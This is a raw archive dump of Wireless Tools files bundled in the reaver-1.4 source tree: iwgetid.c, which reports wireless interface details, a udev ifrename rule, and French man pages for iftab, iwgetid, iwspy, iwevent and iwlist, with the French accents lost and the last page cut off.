txpower[IW_MAX_TXPOWER]; /* list, in bps */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/iwgetid.c0000755000175000017500000003243611705505257015374 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPL '01 * * Just print the ESSID or NWID... * * This file is released under the GPL license. * Copyright (c) 1997-2004 Jean Tourrilhes */ #include "iwlib.h" /* Header */ #include /* * Note on Pcmcia Schemes : * ---------------------- * The purpose of this tool is to use the ESSID discovery mechanism * to select the appropriate Pcmcia Scheme. The card tell us which * ESSID it has found, and we can then select the appropriate Pcmcia * Scheme for this ESSID (Wireless config (encrypt keys) and IP config). * The way to do it is as follows : * cardctl scheme "essidany" * delay 100 * $scheme = iwgetid --scheme * cardctl scheme $scheme * Of course, you need to add a scheme called "essidany" with the * following setting : * essidany,*,*,*) * ESSID="any" * IPADDR="10.0.0.1" * * This can also be integrated int he Pcmcia scripts. * Some drivers don't activate the card up to "ifconfig up". * Therefore, they wont scan ESSID up to this point, so we can't * read it reliably in Pcmcia scripts. * I guess the proper way to write the network script is as follows : * if($scheme == "iwgetid") { * iwconfig $name essid any * iwconfig $name nwid any * ifconfig $name up * delay 100 * $scheme = iwgetid $name --scheme * ifconfig $name down * } * * This is pseudo code, but you get an idea... * The "ifconfig up" activate the card. * The "delay" is necessary to let time for the card scan the * frequencies and associate with the AP. * The "ifconfig down" is necessary to allow the driver to optimise * the wireless parameters setting (minimise number of card resets). * * Another cute idea is to have a list of Pcmcia Schemes to try * and to keep the first one that associate (AP address != 0). This * would be necessary for closed networks and cards that can't * discover essid... * * Jean II - 29/3/01 */ /**************************** CONSTANTS ****************************/ #define FORMAT_DEFAULT 0 /* Nice looking display for the user */ #define FORMAT_SCHEME 1 /* To be used as a Pcmcia Scheme */ #define FORMAT_RAW 2 /* Raw value, for shell scripts */ #define WTYPE_ESSID 0 /* Display ESSID or NWID */ #define WTYPE_AP 1 /* Display AP/Cell Address */ #define WTYPE_FREQ 2 /* Display frequency/channel */ #define WTYPE_CHANNEL 3 /* Display channel (converted from freq) */ #define WTYPE_MODE 4 /* Display mode */ #define WTYPE_PROTO 5 /* Display protocol name */ /************************ DISPLAY ESSID/NWID ************************/ /*------------------------------------------------------------------*/ /* * Display the ESSID if possible */ static int print_essid(int skfd, const char * ifname, int format) { struct iwreq wrq; char essid[IW_ESSID_MAX_SIZE + 1]; /* ESSID */ char pessid[IW_ESSID_MAX_SIZE + 1]; /* Pcmcia format */ unsigned int i; unsigned int j; /* Make sure ESSID is always NULL terminated */ memset(essid, 0, sizeof(essid)); /* Get ESSID */ wrq.u.essid.pointer = (caddr_t) essid; wrq.u.essid.length = IW_ESSID_MAX_SIZE + 1; wrq.u.essid.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWESSID, &wrq) < 0) return(-1); switch(format) { case FORMAT_SCHEME: /* Strip all white space and stuff */ j = 0; for(i = 0; i < strlen(essid); i++) if(isalnum(essid[i])) pessid[j++] = essid[i]; pessid[j] = '\0'; if((j == 0) || (j > 32)) return(-2); printf("%s\n", pessid); break; case FORMAT_RAW: printf("%s\n", essid); break; default: printf("%-8.16s ESSID:\"%s\"\n", ifname, essid); break; } return(0); } /*------------------------------------------------------------------*/ /* * Display the NWID if possible */ static int print_nwid(int skfd, const char * ifname, int format) { struct iwreq wrq; /* Get network ID */ if(iw_get_ext(skfd, ifname, SIOCGIWNWID, &wrq) < 0) return(-1); switch(format) { case FORMAT_SCHEME: /* Prefix with nwid to avoid name space collisions */ printf("nwid%X\n", wrq.u.nwid.value); break; case FORMAT_RAW: printf("%X\n", wrq.u.nwid.value); break; default: printf("%-8.16s NWID:%X\n", ifname, wrq.u.nwid.value); break; } return(0); } /**************************** AP ADDRESS ****************************/ /*------------------------------------------------------------------*/ /* * Display the AP Address if possible */ static int print_ap(int skfd, const char * ifname, int format) { struct iwreq wrq; char buffer[64]; /* Get AP Address */ if(iw_get_ext(skfd, ifname, SIOCGIWAP, &wrq) < 0) return(-1); /* Print */ iw_ether_ntop((const struct ether_addr *) wrq.u.ap_addr.sa_data, buffer); switch(format) { case FORMAT_SCHEME: /* I think ':' are not problematic, because Pcmcia scripts * seem to handle them properly... */ case FORMAT_RAW: printf("%s\n", buffer); break; default: printf("%-8.16s Access Point/Cell: %s\n", ifname, buffer); break; } return(0); } /****************************** OTHER ******************************/ /*------------------------------------------------------------------*/ /* * Display the frequency (or channel) if possible */ static int print_freq(int skfd, const char * ifname, int format) { struct iwreq wrq; double freq; char buffer[64]; /* Get frequency / channel */ if(iw_get_ext(skfd, ifname, SIOCGIWFREQ, &wrq) < 0) return(-1); /* Print */ freq = iw_freq2float(&(wrq.u.freq)); switch(format) { case FORMAT_SCHEME: /* Prefix with freq to avoid name space collisions */ printf("freq%g\n", freq); break; case FORMAT_RAW: printf("%g\n", freq); break; default: iw_print_freq(buffer, sizeof(buffer), freq, -1, wrq.u.freq.flags); printf("%-8.16s %s\n", ifname, buffer); break; } return(0); } /*------------------------------------------------------------------*/ /* * Display the channel (converted from frequency) if possible */ static int print_channel(int skfd, const char * ifname, int format) { struct iwreq wrq; struct iw_range range; double freq; int channel; /* Get frequency / channel */ if(iw_get_ext(skfd, ifname, SIOCGIWFREQ, &wrq) < 0) return(-1); /* Convert to channel */ if(iw_get_range_info(skfd, ifname, &range) < 0) return(-2); freq = iw_freq2float(&(wrq.u.freq)); if(freq < KILO) channel = (int) freq; else { channel = iw_freq_to_channel(freq, &range); if(channel < 0) return(-3); } /* Print */ switch(format) { case FORMAT_SCHEME: /* Prefix with freq to avoid name space collisions */ printf("channel%d\n", channel); break; case FORMAT_RAW: printf("%d\n", channel); break; default: printf("%-8.16s Channel:%d\n", ifname, channel); break; } return(0); } /*------------------------------------------------------------------*/ /* * Display the mode if possible */ static int print_mode(int skfd, const char * ifname, int format) { struct iwreq wrq; /* Get frequency / channel */ if(iw_get_ext(skfd, ifname, SIOCGIWMODE, &wrq) < 0) return(-1); if(wrq.u.mode >= IW_NUM_OPER_MODE) return(-2); /* Print */ switch(format) { case FORMAT_SCHEME: /* Strip all white space and stuff */ if(wrq.u.mode == IW_MODE_ADHOC) printf("AdHoc\n"); else printf("%s\n", iw_operation_mode[wrq.u.mode]); break; case FORMAT_RAW: printf("%d\n", wrq.u.mode); break; default: printf("%-8.16s Mode:%s\n", ifname, iw_operation_mode[wrq.u.mode]); break; } return(0); } /*------------------------------------------------------------------*/ /* * Display the ESSID if possible */ static int print_protocol(int skfd, const char * ifname, int format) { struct iwreq wrq; char proto[IFNAMSIZ + 1]; /* Protocol */ char pproto[IFNAMSIZ + 1]; /* Pcmcia format */ unsigned int i; unsigned int j; /* Get Protocol name */ if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0) return(-1); strncpy(proto, wrq.u.name, IFNAMSIZ); proto[IFNAMSIZ] = '\0'; switch(format) { case FORMAT_SCHEME: /* Strip all white space and stuff */ j = 0; for(i = 0; i < strlen(proto); i++) if(isalnum(proto[i])) pproto[j++] = proto[i]; pproto[j] = '\0'; if((j == 0) || (j > 32)) return(-2); printf("%s\n", pproto); break; case FORMAT_RAW: printf("%s\n", proto); break; default: printf("%-8.16s Protocol Name:\"%s\"\n", ifname, proto); break; } return(0); } /******************************* MAIN ********************************/ /*------------------------------------------------------------------*/ /* * Check options and call the proper handler */ static int print_one_device(int skfd, int format, int wtype, const char* ifname) { int ret; /* Check wtype */ switch(wtype) { case WTYPE_AP: /* Try to print an AP */ ret = print_ap(skfd, ifname, format); break; case WTYPE_CHANNEL: /* Try to print channel */ ret = print_channel(skfd, ifname, format); break; case WTYPE_FREQ: /* Try to print frequency */ ret = print_freq(skfd, ifname, format); break; case WTYPE_MODE: /* Try to print the mode */ ret = print_mode(skfd, ifname, format); break; case WTYPE_PROTO: /* Try to print the protocol */ ret = print_protocol(skfd, ifname, format); break; default: /* Try to print an ESSID */ ret = print_essid(skfd, ifname, format); if(ret < 0) { /* Try to print a nwid */ ret = print_nwid(skfd, ifname, format); } } return(ret); } /*------------------------------------------------------------------*/ /* * Try the various devices until one return something we can use * * Note : we can't use iw_enum_devices() because we want a different * behaviour : * 1) Stop at the first valid wireless device * 2) Only go through active devices */ static int scan_devices(int skfd, int format, int wtype) { char buff[1024]; struct ifconf ifc; struct ifreq *ifr; int i; /* Get list of active devices */ ifc.ifc_len = sizeof(buff); ifc.ifc_buf = buff; if(ioctl(skfd, SIOCGIFCONF, &ifc) < 0) { perror("SIOCGIFCONF"); return(-1); } ifr = ifc.ifc_req; /* Print the first match */ for(i = ifc.ifc_len / sizeof(struct ifreq); --i >= 0; ifr++) { if(print_one_device(skfd, format, wtype, ifr->ifr_name) >= 0) return 0; } return(-1); } /*------------------------------------------------------------------*/ /* * helper */ static void iw_usage(int status) { fputs("Usage iwgetid [OPTIONS] [ifname]\n" " Options are:\n" " -a,--ap Print the access point address\n" " -c,--channel Print the current channel\n" " -f,--freq Print the current frequency\n" " -m,--mode Print the current mode\n" " -p,--protocol Print the protocol name\n" " -r,--raw Format the output as raw value for shell scripts\n" " -s,--scheme Format the output as a PCMCIA scheme identifier\n" " -h,--help Print this message\n", status ? stderr : stdout); exit(status); } static const struct option long_opts[] = { { "ap", no_argument, NULL, 'a' }, { "channel", no_argument, NULL, 'c' }, { "freq", no_argument, NULL, 'f' }, { "mode", no_argument, NULL, 'm' }, { "protocol", no_argument, NULL, 'p' }, { "help", no_argument, NULL, 'h' }, { "raw", no_argument, NULL, 'r' }, { "scheme", no_argument, NULL, 's' }, { NULL, 0, NULL, 0 } }; /*------------------------------------------------------------------*/ /* * The main ! */ int main(int argc, char ** argv) { int skfd; /* generic raw socket desc. */ int format = FORMAT_DEFAULT; int wtype = WTYPE_ESSID; int opt; int ret = -1; /* Check command line arguments */ while((opt = getopt_long(argc, argv, "acfhmprs", long_opts, NULL)) > 0) { switch(opt) { case 'a': /* User wants AP/Cell Address */ wtype = WTYPE_AP; break; case 'c': /* User wants channel only */ wtype = WTYPE_CHANNEL; break; case 'f': /* User wants frequency/channel */ wtype = WTYPE_FREQ; break; case 'm': /* User wants the mode */ wtype = WTYPE_MODE; break; case 'p': /* User wants the protocol */ wtype = WTYPE_PROTO; break; case 'h': iw_usage(0); break; case 'r': /* User wants a Raw format */ format = FORMAT_RAW; break; case 's': /* User wants a Scheme format */ format = FORMAT_SCHEME; break; default: iw_usage(1); break; } } if(optind + 1 < argc) { fputs("Too many arguments.\n", stderr); iw_usage(1); } /* Create a channel to the NET kernel. */ if((skfd = iw_sockets_open()) < 0) { perror("socket"); return(-1); } /* Check if first argument is a device name */ if(optind < argc) { /* Yes : query only this device */ ret = print_one_device(skfd, format, wtype, argv[optind]); } else { /* No : query all devices and print first found */ ret = scan_devices(skfd, format, wtype); } fflush(stdout); iw_sockets_close(skfd); return(ret); } reaver-1.4/src/lwe/19-udev-ifrename.rules0000755000175000017500000000123611705505257017620 0ustar reaverreaver# udev rules to properly integrate ifrename. # Renaming is done using /etc/iftab, with full ifrename functionality. # Require udev version 107 or later. # Please double check the path to ifrename, and make sure its available # when udev runs (i.e. on boot partition). # Enable this rule to test with udevtest. #ENV{UDEV_LOG}=="6", SUBSYSTEM=="net", ACTION=="add", IMPORT="/sbin/ifrename -D -V -u -i %k", NAME:="%k" # Main ifrename rule. # If interface is found in /etc/iftab, subsequent rename rules are bypassed. # If interface is not found in /etc/iftab, subsequent rename rules applies. SUBSYSTEM=="net", ACTION=="add", IMPORT="/sbin/ifrename -u -i %k", NAME:="%k" reaver-1.4/src/lwe/fr/0000755000175000017500000000000011705505257014170 5ustar reaverreaverreaver-1.4/src/lwe/fr/iftab.50000755000175000017500000001416611705505257015356 0ustar reaverreaver.\" Jean II - HPL - 2004 .\" iftab.5 .\" .\" Traduction 2004/08/25 Maxime CHARPENNE (voir .\" http://www.delafond.org/traducmanfr/) .\" 1re traduction : version 27-pre25 .\" .TH IFTAB 5 "01 mars 2004" "wireless-tools" "Manuel du Programmeur Linux" .\" .\" NAME part .\" .SH NOM iftab \- informations statiques sur les interfaces rseau .\" .\" DESCRIPTION part .\" .SH DESCRIPTION Le fichier .B /etc/iftab contient de l'information descriptive propos des diverses interfaces rseau. .B iftab n'est utilis que par le programme .IR ifrename (8) pour assigner un nom d'interface rseau cohrent chaque interface rseau. .PP .B /etc/iftab dfinit un ensemble de .RI "correspondances (\ " mappings "\ )." Chaque correspondance contient un nom d'interface et un ensemble de slecteurs (\ selectors\ ). Les slecteurs permettent .B ifrename d'identifier chaque interface rseau du systme. Si une interface rseau correspond tous les descripteurs d'une correspondance, .B ifrename essaye de changer le nom de l'interface par le nom de l'interface donn dans la correspondance. .\" .\" MAPPINGS part .\" .SH CORRESPONDANCES (\ MAPPINGS\ ) Chaque correspondance est dcrite sur une ligne distincte, elle commence avec .IR "interface name" " (nom d'interface)," et contient un ensemble de .RI "descripteurs (\ " descriptors "\ )," spars par des espaces ou des tabulations. .PP La relation entre les descripteurs d'une correspondance est un .IR "et logique" . Une correspondance s'applique une interface rseau seulement si tous les descripteurs s'appliquent. Si une interface rseau ne supporte pas un descripteur particulier, elle ne s'appliquera aucune correspondance qui utilise ce descripteur. .PP Si vous voulez utiliser des descripteurs alternatifs pour un nom d'interface (ou logique), spcifiez deux correspondances diffrentes avec le mme nom d'interface (une par ligne). .B Ifrename utilise toujours la premire correspondance en commenant par la .I fin de .BR iftab , donc les correspondances les plus restrictives devraient tre dfinies en dernier. .\" .\" INTERFACE NAME part .\" .SH NOM D'INTERFACE La premire partie de chaque correspondance est un nom d'interface. Si une interface rseau correspond tous les descripteurs d'une correspondance, .B ifrename essaye de changer le nom de l'interface par le nom de l'interface donn dans la correspondance. .PP Le nom de l'interface d'une correspondance est soit un nom d'interface complet (comme .IR eth2 " ou " wlan0 ) ou un motif de nom d'interface contenant un seul caractre joker (comme .IR eth* " ou " wlan* ). Dans le cas d'un caractre joker (\ wildcard\ ), le noyau remplace le caractre '*' par le plus petit entier disponible faisant un nom d'interface unique. .\" .\" DESCRIPTORS part .\" .SH DESCRIPTEURS (\ DESCRIPTORS\ ) Chaque descripteur est compos d'un nom de descripteur et d'une valeur de descripteur. Les descripteurs dfinissent un attribut statique d'une interface rseau, le but tant d'identifier de manire unique chaque priphrique. .PP La plupart des utilisateurs n'utiliseront que le slecteur .BR mac , les autres slecteurs tant pour une configuration plus spcialise. .TP .BI mac " adresse mac" Correspond l'Adresse MAC de l'interface avec l'adresse MAC spcifie. L'adresse MAC de l'interface peut tre montre en utilisant .IR ifconfig (8) ou .IR ip (8). L'adresse MAC spcifie peut contenir une '*' pour la correspondance joker (\ wildcard matching\ ). .br C'est le plus commun des slecteurs, vu que chaque interface possde une adresse MAC unique, ce qui permet de les identifier sans ambigut. .TP .BI arp " arp type" Fait correspondre le Type ARP (\ ARP Type\ ) (aussi appel \ Link Type\ ) de l'interface avec le type ARP spcifi. Le Type ARP de l'interface peut tre montr en utilisant .IR ifconfig (8) ou .IR ip (8). .br Ce slecteur est utile quand un pilote cre plusieurs interfaces rseau pour une seule carte rseau. .TP .BI driver " driver name" Fait correspondre le Nom de Pilote (\ Driver Name\ ) de l'interface avec le nom de pilote spcifi. Le Nom de Pilote de l'interface peut tre montr en utilisant .IR "ethtool -i" (8). .TP .BI businfo " bus information" Fait correspondre l'Information de Bus (\ Bus Information\ ) de l'interface avec l'information de bus spcifie. L'Information de Bus de l'interface peut tre montre en utilisant .IR "ethtool -i" (8). .TP .BI baseaddress " base address" Fait correspondre l'Adresse de Base (\ Base Address\ ) de l'interface avec l'adresse de base spcifie. L'Adresse de Base de l'interface peut tre montre en utilisant .IR ifconfig (8). .br Ce slecteur n'est utile que pour les cartes ISA et EISA car la plupart des cartes utilisent l'allocation dynamique pour l'Adresse de Base. .TP .BI irq " irq line" Fait correspondre la Ligne IRQ (interruption) de l'interface avec la ligne IRQ spcifie. La Ligne IRQ de l'interface peut tre montre en utilisant .IR ifconfig (8). .br Ce slecteur n'est habituellement pas suffisant pour identifier de manire unique une interface, car les Lignes IRQ peuvent tre partages. .TP .BI iwproto " wireless protocol" Fait correspondre le Protocole Wireless de l'interface avec le protocole wireless spcifi. Le Protocole Wireless de l'interface peut tre montr en utilisant .IR iwconfig (8). .br Ce slecteur n'est valable que pour les interfaces wireless et n'est pas suffisant pour en identifier une de manire unique. .\" .\" EXAMPLE part .\" .SH EXEMPLE # Ceci est un commentaire .br eth2 mac 08:00:09:DE:82:0E .br eth3 driver wavelan interrupt 15 baseaddress 0x390 .br eth4 driver pcnet32 businfo 0000:02:05.0 .br air* mac 00:07:0E:* arp 1 .\" .\" AUTHOR part .\" .SH AUTEUR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" TRADUCTION part .\" .SH TRADUCTION Maxime CHARPENNE, aot 2004 (wireless_tools.27-pre25). .\" .\" AVERTISSEMENT part .\" .SH AVERTISSEMENT SUR LA TRADUCTION Il est possible que cette traduction soit imparfaite ou prime. En cas de doute, veuillez vous reporter au document original en langue anglaise fourni avec le programme. .\" .\" FILES part .\" .SH FICHIERS .I /etc/iftab .\" .\" SEE ALSO part .\" .SH VOIR AUSSI .BR ifrename (8), .BR ifconfig (8), .BR ip (8), .BR iwconfig (8). reaver-1.4/src/lwe/fr/iwgetid.80000755000175000017500000000704111705505257015722 0ustar reaverreaver.\" Guus Sliepen - 2001 .\" Completed and fixed up by Jean Tourrilhes - 2002-2003 .\" iwgetid.8 .\" .\" Traduction 2003/08/17 Maxime CHARPENNE (voir .\" http://www.delafond.org/traducmanfr/) .\" 1re traduction : version 26 .\" Mise jour 2004/01/29 : version 27-pre9 (beta) .\" Manuel identique pour la version 27-pre11 (alpha) .\" Mise jour 2004/08/23 : version 27-pre25 .\" .TH IWGETID 8 "02 dcembre 2003" "wireless-tools" "Manuel du Programmeur Linux" .\" .\" NAME part .\" .SH NOM iwgetid \- Rapporte le ESSID, NWID ou l'Adresse de l'AP/Cell (Point d'Accs/\ Cellule) du rseau sans fil. .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwgetid " [interface] " [--raw] [--scheme] [--ap] [--freq]" .br .BI " [--mode] [--protocol] [--channel] .br .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B iwgetid est utilis pour trouver le NWID, ESSID ou l'adresse de l'AP ou cellule du rseau sans fil utilis prsentement. L'information rapporte est la mme que celle montre par .BR iwconfig ", mais " iwgetid est plus facile intgrer dans les scripts. .br Par dfaut, .B iwgetid affichera .RI l' ESSID de la carte, et si la carte n'a pas d'ESSID, il affichera son .IR NWID . .br Le formatage par dfaut de la sortie est embelli. .\" .\" OPTIONS part .\" .SH OPTIONS .TP .B --raw Cette option dsactive l'embellissement de l'affichage de l'information. Cette option est orthogonale aux autres options (sauf .BR --scheme ), donc, avec la combinaison approprie des options, il est possible d'afficher en brut l'ESSID, l'Adresse de l'AP ou le Mode. .br Ce format est idal quand on stocke le rsultat de iwgetid comme une variable dans les scripts .I Shell ou .IR Perl , ou pour passer le rsultat comme argument sur la ligne de commande de .BR iwconfig . .TP .B --scheme Cette option est similaire la prcdente, elle dsactive l'embellissement de l'affichage des donnes et supprime tous les caractres non alphanumriques (comme les caractres d'espacement, la ponctuation et les caractres de contrle). .br La sortie rsultante est un identifiant Pcmcia valide (\ Pcmcia scheme identifer\ ) (qui peut tre utilis comme argument de la commande .BR "cardctl scheme" ). Ce format est aussi idal quand on utilise le rsultat de iwgetid comme un slecteur (\ selector\ ) dans les scripts .I Shell ou .IR Perl , ou comme un nom de fichier. .TP .B --ap Affiche l'adresse MAC du .I Point d'Access ou de la .I Cellule sans fil. .TP .B --freq Affiche la .I frquence ou le .I canal courant utilis par l'interface. .TP .B --channel Affiche le canal .RI ( channel ) courant utilis par l'interface. Le canal est dtermin en utilisant la frquence courante et la liste de frquence fournie par l'interface. .TP .B --mode Affiche le .I mode courant de l'interface. .TP .B --protocol Affiche le .I nom de protocole de l'interface. Il permet d'identifer toutes les cartes qui sont compatibles entre elles et qui acceptent le mme type de configuration. .br Cela peut aussi tre utilis pour .I vrifier la compatibilit de Wireless Extension sur l'interface, car c'est le seul attribut que tous les pilotes supportant Wireless Extension doivent avoir. .\" .\" TRADUCTION part .\" .SH TRADUCTION Maxime CHARPENNE, aot 2004 (wireless_tools.27-pre25). .\" \" AVERTISSEMENT part .\" .SH AVERTISSEMENT SUR LA TRADUCTION Il est possible que cette traduction soit imparfaite ou prime. En cas de doute, veuillez vous reporter au document original en langue anglaise fourni avec le programme. .\" .\" SEE ALSO part .\" .SH VOIR AUSSI .BR iwconfig (8), .BR ifconfig (8), .BR iwspy (8), .BR iwpriv (8). reaver-1.4/src/lwe/fr/iwspy.80000755000175000017500000000637711705505257015454 0ustar reaverreaver.\" Jean II - HPLB - 96 .\" iwspy.8 .\" .\" Traduction 2003/08/18 Maxime CHARPENNE (voir .\" http://www.delafond.org/traducmanfr/) .\" 1re traduction : version 26 .\" Manuel identique pour la version 27-pre9 (beta) .\" Manuel identique pour la version 27-pre11 (alpha) .\" .TH IWSPY 8 "31 octobre 1996" "net-tools" "Manuel du Programmeur Linux" .\" .\" NAME part .\" .SH NOM iwspy \- Obtenir des statistiques wireless depuis des nuds donns .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwspy " interface .br .BI "iwspy " interface " [+] " DNSNAME " | " IPADDR " | " HWADDR " [...]" .br .BI "iwspy " interface " off" .br .BI "iwspy " interface " setthr " "low high" .br .BI "iwspy " interface " getthr" .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B Iwspy est utilis pour fixer une liste d'adresses sur une interface rseau sans fil, et obtenir des informations sur la qualit du lien pour chacune d'elles. Ces informations sont les mmes que celles disponibles dans .IR /proc/net/wireless "\ :" qualit du lien, force du signal et niveau du bruit. .PP Ces informations sont mises jour chaque fois qu'un nouveau paquet est reu, donc chaque adresse de la liste ajoute quelques prcisions en plus. .PP Remarquez que cette fonctionnalit ne marche que pour les nuds faisant partie des cellules sans fil courantes. .\" .\" PARAMETER part .\" .SH PARAMTRES Vous pouvez fixer jusqu' 8 adresses. .TP .BR DNSNAME " | " IPADDR Paramtre une adresse IP, ou dans certains cas un nom DNS (en utilisant le «\ resolver\ » de nom). Comme le matriel fonctionne avec des adresses matrielles, .B iwspy traduira les adresses IP grce .IR ARP . Dans certains cas, cette adresse peut ne pas tre dans le cache ARP et .B iwspy chouera. Dans cette situation, excuter .IR ping (8) vers ces noms/adresses et ressayer. .TP .B HWADDR Paramtre une adresse matrielle (MAC) (cette adresse n'est pas traduite et vrifer comme le sont les adresses IP). L'adresse doit contenir deux-points .RB ( : ) pour tre reconnue comme une adresse matrielle. .TP .B + Ajoute un nouveau jeu d'adresses la fin de la liste courante au lieu de la remplacer. La liste d'adresses est unique pour chaque carte, donc chaque utilisateur devrait utiliser cette option pour viter les conflits. .TP .B off Enlve la liste d'adresses courante et dsactive la fonctionnalit de scrutation. .TP .B setthr Fixe les seuils de force de signal .IR low " (bas) et " high " (haut)" pour les vnements iwspy (pour les pilotes qui le supportent). .br Chaque fois que la force du signal, pour une des adresses contrles avec iwspy, passe au-dessous du seuil bas ou au-dessus du seuil haut, un Wireless Event est gnr. .br Ceci peut tre utilis pour surveiller la qualit du lien sans avoir lancer iwspy priodiquement. .TP .B getthr Rcupre les seuils .IR low " (bas) et " high " (haut)" de la force du signal pour l'vnement iwspy. .\" \" AVERTISSEMENT part .\" .SH AVERTISSEMENT SUR LA TRADUCTION Il est possible que cette traduction soit imparfaite ou prime. En cas de doute, veuillez vous reporter au document original en langue anglaise fourni avec le programme. \" .\" FILES part .\" .SH FICHIERS .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH VOIR AUSSI .BR iwconfig (8), .BR iwlist (8), .BR iwevent (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/fr/iwevent.80000755000175000017500000000773611705505257015762 0ustar reaverreaver.\" Jean Tourrilhes - HPL - 2002 - 2004 .\" iwevent.8 .\" .\" Traduction 2003/08/17 Maxime CHARPENNE (voir .\" http://www.delafond.org/traducmanfr/) .\" 1re traduction : version 26 .\" Manuel identique pour la version 27-pre9 (beta) .\" Mise jour 2004/02/26 : version 27-pre11 (alpha) .\" Mise jour 2004/08/23 : version 27-pre25 .\" .TH IWEVENT 8 "23 juin 2004" "net-tools" "Manuel du Programmeur Linux" .\" .\" NAME part .\" .SH NOM iwevent \- Affiche les vnements Wireless (Wireless Events) gnrs par les pilotes et les changements de paramtres. .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwevent " .br .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B iwevent affiche les \ Wireless Events\ (vnements du systme Wireless) reu par le socket RTNetlink. Chaque ligne affiche le Wireless Event spcifique qui dcrit ce qui s'est pass sur l'interface sans fil spcifie. .br Cette commande ne prend aucun argument. .\" .\" DISPLAY part .\" .SH AFFICHAGE Il y a deux classes de Wireless Events. .PP La premire classe regroupe les vnements relatifs un changement des paramtres du sans fil sur l'interface (typiquement fait par .B iwconfig ou un script appelant .BR iwconfig ). Seuls les paramtres qui peuvent entraner une perturbation de la connectivit sont rapports. Les vnements actuellement rapports changent un des paramtres suivants\ : .br .I " Network ID" .br .I " ESSID" .br .I " Frequency" .br .I " Mode" .br .I " Encryption" .br Tous ces vnements seront gnrer sur toutes les interfaces sans fil par le sous-systme \ wireless\ du noyau (mais seulement si le pilote a t converti l'API du nouveau pilote). .PP La deuxime classe d'vnements concerne ceux gnrs par le matriel, lorsque quelque chose arrive ou qu'une tche s'est termine. Ces vnements incluent\ : .TP .B New Access Point/Cell address L'interface a joint un nouveau point d'accs ou cellule ad hoc, ou perdu son association avec. Il s'agit de la mme adresse MAC affich par .BR iwconfig . .TP .B Scan request completed Une requte de balayage (scanning) a t acheve, les rsultats du \ scan\ sont disponibles (voir .BR iwlist ). .TP .B Tx packet dropped Un paquet destination de cette adresse a t rejet car l'interface croit que ce noeud ne rpond plus (habituellement, le seuil maximum des missions de la couche MAC est atteint). C'est habituellement la premire indication pouvant rvler que le noeud a quitt la cellule ou est hors de porte, mais cela peut tre due une attnuation ou une contention excessive. .TP .B Custom driver event vnement spcifique au pilote. Veuillez consulter la documentation du pilote. .TP .B Registered node L'interface a russi enregistrer un nouveau client/paire sans fil. Sera gnr la plupart du temps quand l'interface agit comme un point d'accs (mode master). .TP .B Expired node L'enregistrement d'un client/paire sur cette interface a expir. Sera gnr la plupart du temps quand l'interface agit comme un point d'accs (mode master). .TP .B Spy threshold crossed La force du signal pour une des adresses de la \ spy list\ (NDT\ : voir iwspy(8)) est pass en-dessous du seuil bas, ou est pass au-dessus du seuil haut. .PP La plupart des pilotes wireless gnrent seulement un sous-ensemble de ces vnements, pas tous, la liste exacte dpendant de la combinaison spcifique matriel/pilote. Veuillez consulter la documentation du pilote pour les dtails de ce qui les gnrent, et utilisez .IR iwlist (8) pour vrifier ce que le pilote supporte. .\" .\" AUTHOR part .\" .SH AUTEUR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" TRADUCTION part .\" .SH TRADUCTION Maxime CHARPENNE, aot 2004 (wireless_tools.27-pre25). .\" \" AVERTISSEMENT part .\" .SH AVERTISSEMENT SUR LA TRADUCTION Il est possible que cette traduction soit imparfaite ou prime. En cas de doute, veuillez vous reporter au document original en langue anglaise fourni avec le programme. .\" .\" SEE ALSO part .\" .SH VOIR AUSSI .BR iwconfig (8), .BR iwlist (8), .BR iwspy (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/fr/iwlist.80000755000175000017500000001051311705505257015577 0ustar reaverreaver.\" Jean II - HPLB - 96 .\" iwlist.8 .\" .\" Traduction 2003/08/17 Maxime CHARPENNE (voir .\" http://www.delafond.org/traducmanfr/) .\" 1re traduction : version 26 .\" Mise jour 2004/01/29 : version 27-pre9 (beta) .\" Manuel identique pour la version 27-pre11 (alpha) .\" Mise jour 2004/08/23 : version 27-pre25 .\" .TH IWLIST 8 "23 juin 2004" "wireless-tools" "Manuel du Programmeur Linux" .\" .\" NAME part .\" .SH NOM iwlist \- Obtient plus d'informations wireless dtailles depuis une interface wireless .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwlist " interface " scanning" .br .BI "iwlist " interface " frequency" .br .BI "iwlist " interface " rate" .br .BI "iwlist " interface " key" .br .BI "iwlist " interface " power" .br .BI "iwlist " interface " txpower" .br .BI "iwlist " interface " retry" .br .BI "iwlist " interface " event" .br .BI "iwlist --help" .br .BI "iwlist --version" .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B Iwlist est utilis pour afficher de l'information additionnelle d'une interface rseau wireless qui n'est pas affiche par .IR iwconfig (8) L'argument principal est utilis pour slectionner une catgorie d'information, .B iwlist affiche dans une forme dtaille toute information relative cette catgorie, y compris les informations dj montres par .IR iwconfig (8). .\" .\" PARAMETER part .\" .SH PARAMTRES .TP .BR scan [ning] Donne la liste des Points d'Accs et des cellules Ad-Hoc porte, et optionnellement plein d'autres informations leur propos (ESSID, Quality, Frequency, Mode...). Le type d'information retourn dpend de ce que la carte supporte. .br Le \ Triggering scanning\ est une opration ncessitant les privilges de .I root et les utilisateurs normaux peuvent juste lire les rsultats (\ letf-over scan results\ ). Par dfaut, les paramtres courants du pilote auront une grande incidence sur la manire dont le scan est ralis (la boucle du scan). Aussi, cette commande est suppose prendre des arguments supplmentaires pour contrler le comportement du scan, mais cela n'est actuellement pas implment. .TP .BR freq [uency]/ channel Donne la liste des frquences disponibles du priphrique et le nombre de canaux dfinis. Veuillez noter que, 